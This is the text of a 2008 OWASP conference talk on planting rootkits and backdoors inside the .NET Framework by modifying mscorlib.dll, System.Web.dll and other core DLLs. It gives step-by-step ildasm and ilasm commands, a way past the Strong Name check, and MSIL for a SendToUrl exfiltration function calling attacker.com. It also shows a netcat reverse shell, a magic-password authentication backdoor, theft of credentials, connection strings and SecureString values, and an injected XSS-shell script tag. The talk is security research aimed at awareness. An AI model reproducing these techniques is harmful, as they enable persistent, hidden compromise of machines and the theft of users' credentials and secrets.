.NET Framework Rootkits Backdoors inside your framework Erez Metula, CISSP OWASP November 2008 Application Security Department Manager Security Training Academic Director [email protected] Copyright © The OWASP Foundation Permission.
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.NET Framework Rootkits Backdoors inside your framework Erez Metula, CISSP OWASP November 2008 Application Security Department Manager Security Training Academic Director [email protected] Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org DEMO – making code do more than it should Trivial question: What should be the output of the following code? static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } DEMO – let’s run this code OWASP 2 What happened here ??!! How come there were 2 WriteLine’s instead of just one?? The answer is quite simple – The framework’s implementation of “WriteLine” was modified to print every string twice.. It is possible to change the .NET language implementation!!! OWASP 3 EXE User Windows \ Web application public void class DoSomething() { //some code ……….. Console.WriteLine(“Some String”); } .Net Class Library mscorlib.dll Write ( string valuevalue ) public static void WriteLine ( string ) { ……// My Evil Code ……//some code DoEvilThing(value) … ……//the internal implementation of WriteLine… } Windows APIs and services Hacked! OWASP User interface 4 Agenda Introduction .NET execution model & .NET reverse engineering Modifying the Framework core Function injection Installing backdoors and rootkits Automating the process with .NET-Sploit Things to consider when injecting OWASP 5 Introduction to the .NET CLR The CLR is the heart of the .NET framework It is a virtual machine component responsible to run .NET code .NET code is compiled to MSIL, which is converted to native code at runtime Done by the JIT (just in time) compiler OWASP 6 Introduction to .NET Reverse Engineering Reverse engineering a .NET assembly (DLL) is the counter process of compilation going back from MSIL code to higher level .NET code (C#, VB.NET, etc.) The purpose of reversing is usually to Inspect assembly code Modify assembly code There are many tools that helps with that, from trivial decompiling to advanced runtime debugging I’ve discussed it deeply in previous OWASP conference meeting http://www.owasp.org/images/7/77/OWASP_IL_7_DOT_NET_Reverse_Engi neering.pdf OWASP 7 Modifying the Framework core The same concept can be applied to the Framework’s own DLL’s (any version) This is a post exploitation type attack, that requires administrator level privileges As a side note – can also be applied to Java’s JVM The process is composed of the following steps: Locate the DLL in the GAC, and copy it outside Analyze the DLL Decompile the DLL using ildasm Modify the MSIL code (the most interesting part ) Recompile to a new DLL using ilasm Bypass the GAC strong name protection Reverting back from NGEN Native DLL Deploy the new DLL while overwriting the original OWASP 8 Tools Filemon – locating which DLL’s are used and their location in the GAC Reflector – analyzing the DLL code Ilasm – compiling (MSIL -> DLL) Ildasm – decompiling (DLL -> MSIL) Text editor – modifying the MSIL code Ngen - native compiler OWASP 9 Locating the DLL in the GAC Locating the DLL in the GAC can be achieved using FileMon In our example, we can identify mscorlib.dll It contains the WriteLine function (among with other important functions). It’s of the most important DLL’s. In our example – it’s at c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 OWASP 10 Copy the DLL Copy the DLL using direct file system access Windows explorer hide the file system details from us: OWASP 11 Analyze the DLL Reflector can help us analyze the code and decide where and what we want to do. WriteLine is under System namespace, Console class Method signature Stack size Method MSIL code OWASP 12 Decompile the DLL using ildasm So we know where it is - let’s copy it to some temp directory. We want to generate MSIL code out of it. Ildasm.exe disassembler will do this job Execute the next command: ILDASM /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE mscorlib.dll So now we have the decompiled code at mscorlib.dll.il OWASP 13 Modifying the MSIL code Our next task is to modify its code – this is the best part Reflector can help us to analyze the code and decide where and what we want to do So after detecting the location of WriteLine, I just doubled its MSIL code to achieve the “2 for the price of 1” printing MSIL line recalculation need to be performed Stack size might needs to be recalculated OWASP 14 WriteLine in MSIL (original VS. modified code) Original code of WriteLine: Modified code: Print #1 (same as before) Print #2 (duplicate) OWASP 15 Recompile the DLL using ilasm Next step is to generate a new “genuine” DLL out of the modified MSIL code we have. Ilasm.exe assembler will do this job Execute the next command: ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il So now we have a new modified mscorlib.dll OWASP 16 Bypass the GAC Strong Name model Next logical step is to overwrite the original DLL at the GAC with our modified DLL. It’s not that simple This is where things get a little bit tricky the framework is using a digital signature mechanism called SN (Strong Name) Every DLL has a unique signature Our modified DLL have a different signature than the original one We don’t have Microsoft’s signing private key Using gacutil.exe to install it back obviously fails OWASP 17 Bypass the GAC Strong Name model First thought was to re-sign all the DLL’s It is possible, but it’s a very intensive task Another approach was taken, revealed during this research It was found out that the signature is used just to map to the correct directory name on the GAC the SN mechanism does not check the actual signature of a loaded DLL but just looks for a DLL inside a directory with this signature name ! GAC is broken, Strong Name is meaningless!! Instead of messing with signatures, we can just deploy the DLL inside the correct directory… You need direct access to the file system OWASP 18 Reverting back from NGEN Native DLL Another hurdle we need to overcome is .NET’s precompile mechanism - NGEN Compiles .NET assemblies into native code Used to speeds things up and to avoid the JIT The framework is not using our DLL but rather uses the native version So we need to explicitly tell the framework not to use the native version. Example: ngen uninstall mscorlib.dll OWASP 19 DEMO Deploying the modified mscorib.dll and running the demo app OWASP 20 Installing backdoors and rootkits So now we know we can modify the framework and make it behave the way we want It is possible to plant malicious code inside the framework itself We can backdoor some sensitive internal methods It is also possible to deploy rootkits deep into the framework The malicious code will be hidden and undetected inside the Framework Code review will never detect them because they’re not at the application level code OWASP 21 Rootkit development - Function injection In order to better develop rootkits, it’s better to have a separation between a new “ability” injected into the framework the code that use it Since a new “ability” will be used in a couple of places, why not inject it as a new function? We’re extending the .NET language “Side by side” - Those functions can be injected separately or at once without interfering each other Same goes for the payload code that execute them Some examples – let’s extend the framework with: SendToUrl(string url, string data) ReverseShell(string ip, int32 port) OWASP 22 SendToUrl(string url, string data) Function that will be used to transfer data from the victim machine to the attacker The data transfer is implemented as an innocent http web request For example, to the attacker’s collector page Parameters url – the attacker’s collector page data – the data to send OWASP 23 Example – DataStealer collector page OWASP 24 SendToUrl implementation Code: .method public hidebysig static void SendToUrl(string url, string data) cil managed { .maxstack 8 IL_0000: nop IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0003: call string System.String::Concat(string,string) IL_0008: call class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(string) IL_000d: callvirt instance class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse() IL_0012: pop IL_0013: ret } // end of method Class1::SendToUrl OWASP 25 SendToUrl usage So now all we have to do is call this function Since it was already deployed as a function, calling it is very simple Let’s say there is a sensitive string (“SomeSensitiveStolenData”) the attacker wants to send to his collector WebForm1.aspx page The following injected MSIL code will do the job .locals init (string V_0) IL_0000: ldstr "SomeSensitiveStolenData" IL_0005: stloc.0 IL_0006: ldstr "http://www.attacker.com/CookieStealer/WebForm1.asp" + "x\?s=" IL_000b: ldloc.0 IL_000c: call void System.Object::SendToUrl(string,string) OWASP 26 ReverseShell(string ip, int32 port) Function that will be used to provide a reverse shell to the attacker machine This function contains an encoded version of netcat + cmd that is deployed to disk at run time Inspired from the “dropandpop” aspx backdoor Parameters ip – the attacker’s address port – the attacker’s listening port OWASP 27 Remote Reverse Shell OWASP 28 ReverseShell implementation ReverseShell deploys netcat.exe + cmd.exe to the disk, and execute a reverse shell to the specified IP and PORT at the attacker machine netcat IP PORT -e cmd.exe Code (omitted): .method { public hidebysig static void ReverseShell(string ip, int32 port) cil managed // Code size 259 (0x103) .maxstack 3 .locals init ([0] string cmdfilename, [1] string filename, [2] uint8[] netcat, [3] class System.IO.BinaryWriter binWriter1,[4] uint8[] cmd, [5] class System.IO.BinaryWriter binWriter2,[6] string arguments, [7] class [System]System.Diagnostics.Process proc, [8] object[] CS$0$0000) IL_0000: nop IL_0001: ldstr "cmd.exe" IL_0006: stloc.0 IL_0007: ldstr "netcat.exe" IL_000c: stloc.1 … … IL_0101: pop IL_0102: ret } // end of method ::ReverseShell OWASP 29 ReverseShell usage Using this function is very simple The attacker needs to run netcat locally on his machine, waiting for incoming calls at port 1234 nc -l -p 1234 Calls to his specified port will be originated from the victim machine, forming a reverse shell tunnel The following injected MSIL code will do the job IL_0000: ldstr IL_0005: ldc.i4 IL_0006: call "192.168.50.129“ // attacker ip address 0x4d2 // port 1234 void System.Object::ReverseShell(string,int32) OWASP 30 Some practical examples.. It is possible to do anything The sky is the limit.. Let’s see some examples.. OWASP 31 Forms authentications credential stealing System.Web.dll contains a boolean method called Authenticate (string name, string password) used by forms Let’s append MSIL code to the end of this method, that will send the username and password to the attacker SendToUrl(“attacker.com”, name+”:”+password) Original code (end of authenticate) Modified code(post injection) Injected OWASP 32 DEMO Forms authentications credential stealing http://192.168.50.131/formsauthentication/login.aspx OWASP 33 Backdooring forms authentications Another possible attack on the Authenticate function is to backdoor its logic Anytime the supplied password will contain some special string (“Magic Value”) authentication will succeed Let’s add code to the beginning of Authenticate If (password.equals(“MagicValue”)) return true; The modified code (seen as C# using Reflector): OWASP 34 Installing a reverse shell In our next example we’ll inject the ReverseShell function and execute it Let’s make a reverse shell every time a winform executable is run Just for demonstration pusposes.. So we’ll inject code that execute our reverse shell into System.Windows.Forms.dll, at function Run(Form mainForm) OWASP 35 Installing a reverse shell Original code Modified code (pre injection) Injected OWASP 36 DEMO Reverse shell OWASP 37 Stealing the connection string for every connection opening System.Data.dll contains the logic for connecting to DB servers The class SqlConnection is responsible for opening the connection to the DB We can modify the behavior of Open() to send the connection string to the attacker It’s in the class member ConnectionString So Open() is changed to public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); … … } OWASP 38 Injecting Browser exploitation framework into auto generated HTML/JS files The Framework contains many pieces of HTML / Javascript code that is used by aspx pages as code templates Example - System.Web.dll Those pieces of code are usually included inside the Framework DLL’s as resources It is possible to inject persistent javascript code into the templates (similar to the concept of persistent XSS) Example – injecting a call to XSS shell <script src="http://www.attacker.com/xssshell.asp?v=123"></script> OWASP 39 Encryption key fixation / stealing /downgrading / etc.. A very interesting attack vector against .NET cryptography at mscorlib.dll Example – Rijndael implementation of GenerateKey() C# code from reflector Key fixation can cause encryption to always use the same key (simple example – by removing the RNG line) Key stealing can be achieved by sending the key to the attacker (using SendToUrl, for example) Key/algorithm downgrading can be achieved by setting the least secure algorithm as the default for encryption (for example, setting the default symmetric algorithm to DES instead of the default AES.. ) Etc… 40 OWASP SecureString stealing SecureString is a special string protected with encryption by the .NET Framework Part of System.Security at mscorlib.dll SecureString probably contains valuable data It would be interesting to inject code that will send this data to the attacker Maybe inject it into the Dispose() method of SecureString C# code from reflector: IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr)); OWASP 41 Disabling security checks Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of important classes from System.Security, System.Security.Permissions, etc.. Again, from mscorlib.dll.. It is possible to disable security checks by changing the logic of CodeAccessPermission::Demand() CodeAccessPermission::Deny() CodeAccessPermission::Assert() FileIOPermission, RegistryPermission, etc. OWASP 42 Automating the process with .NET-Sploit .NET-Sploit is a tool that aide the process of injecting / modifying .NET assemblies Able to Modify a given function Inject payloads Execute payloads Takes care of “code reshaping” Pull the relevant DLL from the GAC Generate a deployer for the modified DLL OWASP 43 Automating the process with .NET-Sploit .NET-Sploit is inspired from H.D. Moore’s amazing “metasploit” exploit platform. Its specialty is the abstraction from which code injection is composed, and the separation of the following building blocks (modules): Function – a new method to extend a specified DLL Payload – code that is injected into a Framework method Reference – reference to other DLL (if necessary) Item – XML based composition the above building blocks The idea is to create an item that combines generic payload and functions. OWASP 44 Item example <CodeChangeItem name="Send data to URL"> <Description>The specified code will change WriteLine() in such a way that each time it is called a string will be sent</Description> <AssemblyName>mscorlib.dll</AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e 089</AssemblyLocation> <AssemblyRef> <FileName>system.ref</FileName> </AssemblyRef> <AssemblyFunc> <FileName>SendToUrl.func</FileName> <Location><![CDATA[} // end of class System.Object]]></Location> <BeforeLocation>TRUE</BeforeLocation> </AssemblyFunc> <AssemblyCode> <FileName>SendToUrl.payload</FileName> <Location><![CDATA[instance void WriteLine() cil managed]]></Location> <StackSize>8</StackSize> </AssemblyCode> </CodeChangeItem> OWASP 45 DEMO Performing a full automated DLL modification using .NET-Sploit OWASP 46 OWASP 47 Things to consider when injecting pre / post consideration places to inject your code Cross reference – function are not restricted to the same dll the most used methods you want to inject to References to assemblies Stack size Removing traces with NGEN OWASP 48 Questions ? OWASP 49 References More information can be obtained at http://www.applicationsecurity.co.il/. NET-Framework-Rootkits.aspx Includes: Whitepaper: “.NET Framework Rootkits - Backdoors inside your Framework” .NET-Sploit Tool .NET-Sploit Source Code OWASP 50 Summary Modification of the framework behavior can lead to some very interesting things An attacker who has already rooted your machine can backdoor your framework, leaving rootkits behind It is another place for rootkits besides the Kernel, BIOS, Drivers, etc.. It is hidden deep inside the framework DLL’s OWASP 51 Summary As the owner of the machine, there’s not much you can do about that You can use external file tampering detectors, such as tripwire Microsoft should give the .NET Framework a kernel level modification protection … And although this concept can be used maliciously, it can still be used positively to make custom “MOD” frameworks for topics such as performance, bug fixing, and more OWASP 52 Thank you ! OWASP 53